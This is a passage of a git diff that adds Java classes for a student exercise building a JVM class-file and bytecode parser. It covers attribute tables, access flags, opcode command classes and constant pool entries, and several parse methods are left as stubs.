+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..14db5dca46
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..2a8dfb6123
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,102 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..2bb36340f5
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..c8e65ff493
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..88353df2d3
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..7130eb3a9f
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ae71396ef
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
